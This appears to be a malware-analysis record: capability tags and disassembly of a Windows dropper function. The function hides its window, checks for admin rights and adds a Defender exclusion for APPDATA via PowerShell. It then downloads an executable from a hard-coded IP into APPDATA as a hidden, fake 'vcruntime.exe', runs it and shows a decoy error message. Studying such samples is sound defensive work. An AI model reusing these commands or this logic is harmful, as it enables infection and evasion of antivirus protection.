Function at 0x1400012e0
Capabilities:
Get token membership
Hide graphical window
Query environment variable
Set file attributes

Disassembly:
push rbp
sub rsp, 0x410
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x388], 0xfffffffffffffffe
mov dword [rbp + 0x384], 0
mov dword [rbp + 0x380], r9d
mov qword [rbp + 0x378], r8
mov qword [rbp + 0x370], rdx
mov qword [rbp + 0x368], rcx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x364], 0
mov eax, dword [0x140028346]
mov dword [rbp + 0x35e], eax
mov ax, word [0x14002834a]
mov word [rbp + 0x362], ax
lea rcx, [rbp + 0x35e]
mov edx, 2
mov r8d, 0x20
mov r9d, 0x220
xor eax, eax
lea rax, [rbp + 0x350]
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x50], rax
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
cmp eax, 0
je 0x1400013e0
mov rdx, qword [rbp + 0x350]
xor eax, eax
mov ecx, eax
lea r8, [rbp + 0x364]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp + 0x350]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x364], 0
jne 0x14000147c
xor eax, eax
mov ecx, eax
lea rdx, [rbp + 0x240]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
je 0x140001477
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x240]
call fcn.140001b80
lea rdx, [0x14002834d]
lea rcx, [rbp + 0x200]
call fcn.140001b80
jmp 0x140001438
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x200]
call section..text
jmp 0x140001450
lea rcx, [rbp + 0x200]
call fcn.140001c00
mov dword [rbp + 0x384], 1
lea rcx, [rbp + 0x220]
call fcn.140001c00
jmp 0x140001739
jmp 0x14000147c
lea rcx, str.APPDATA
lea rdx, [rbp + 0xf0]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x1400014ae
mov dword [rbp + 0x384], 1
jmp 0x140001739
lea rcx, [rbp + 0xb0]
mov qword [rbp - 8], rcx
lea rdx, [rbp + 0xf0]
call fcn.140001b80
mov rdx, qword [rbp - 8]
lea r8, str._vcruntime.exe
lea rcx, [rbp + 0xd0]
call fcn.140001c30
jmp 0x1400014e1
lea rcx, [rbp + 0xb0]
call fcn.140001c00
lea rcx, [rbp + 0x50]
lea rdx, [rbp + 0xf0]
call fcn.140001b80
jmp 0x140001502
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionPath_
lea rcx, [rbp + 0x70]
lea r8, [rbp + 0x50]
call fcn.140001c80
jmp 0x14000151b
lea r8, [0x140028365]
lea rcx, [rbp + 0x90]
lea rdx, [rbp + 0x70]
call fcn.140001c30
jmp 0x140001537
lea rcx, [rbp + 0x70]
call fcn.140001c00
lea rcx, [rbp + 0x50]
call fcn.140001c00
lea rcx, [rbp + 0x90]
call fcn.1400010b0
jmp 0x14000155a
lea rdx, str.powershell__Command__Invoke_Webrequest_http:__193.233.113.254:3232_moYfw_344409.exe__OutFile_
lea rcx, [rbp + 0x10]
lea r8, [rbp + 0xd0]
call fcn.140001cd0
jmp 0x140001576
lea r8, [0x140028365]
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x10]
call fcn.140001c30
jmp 0x14000158f
lea rcx, [rbp + 0x10]
call fcn.140001c00
lea rcx, [rbp + 0x30]
call fcn.1400010b0
jmp 0x1400015a6
mov dword [rbp + 0xc], 0xc3800
mov dword [rbp + 8], 0
cmp dword [rbp + 8], 0x1e
jge 0x140001638
lea rcx, [rbp + 0xd0]
call fcn.1400011a0
mov byte [rbp - 9], al
jmp 0x1400015d2
mov al, byte [rbp - 9]
test al, 1
jne 0x1400015e2
jmp 0x140001609
lea rcx, [rbp + 0xd0]
call fcn.140001210
mov dword [rbp - 0x10], eax
jmp 0x1400015f6
mov eax, dword [rbp - 0x10]
cmp eax, 0xc3800
jne 0x140001609
jmp 0x140001638
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call rax
jmp 0x14000161c
lea rcx, [rbp + 0x30]
call fcn.1400010b0
jmp 0x14000162a
mov eax, dword [rbp + 8]
add eax, 1
mov dword [rbp + 8], eax
jmp 0x1400015b4
lea rcx, [rbp + 0xd0]
call fcn.1400011a0
mov byte [rbp - 0x11], al
jmp 0x14000164c
mov al, byte [rbp - 0x11]
test al, 1
jne 0x14000165c
jmp 0x1400016d1
lea rcx, [rbp + 0xd0]
call fcn.140001210
mov dword [rbp - 0x18], eax
jmp 0x140001670
mov eax, dword [rbp - 0x18]
cmp eax, 0xc3800
jne 0x1400016d1
lea rcx, [rbp + 0xd0]
call fcn.1400010b0
jmp 0x14000168f
lea rcx, [rbp + 0xd0]
call fcn.140001920
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, 2
call rax
jmp 0x1400016b1
call fcn.1400012c0
call fcn.1400012d0
mov dword [rbp + 0x384], 0
mov dword [rbp + 4], 1
jmp 0x140001713
lea rcx, [0x140039420]
lea rdx, str.Critical_Error:_VCRUNTIME140.dll
call fcn.140001dc0
mov qword [rbp - 0x20], rax
jmp 0x1400016ed
mov rcx, qword [rbp - 0x20]
lea rdx, [0x140002110]
call fcn.1400020f0
jmp 0x140001702
mov dword [rbp + 0x384], 1
mov dword [rbp + 4], 1
lea rcx, [rbp + 0x30]
call fcn.140001c00
lea rcx, [rbp + 0x90]
call fcn.140001c00
lea rcx, [rbp + 0xd0]
call fcn.140001c00
jmp 0x140001739
mov eax, dword [rbp + 0x384]
add rsp, 0x410
pop rbp
ret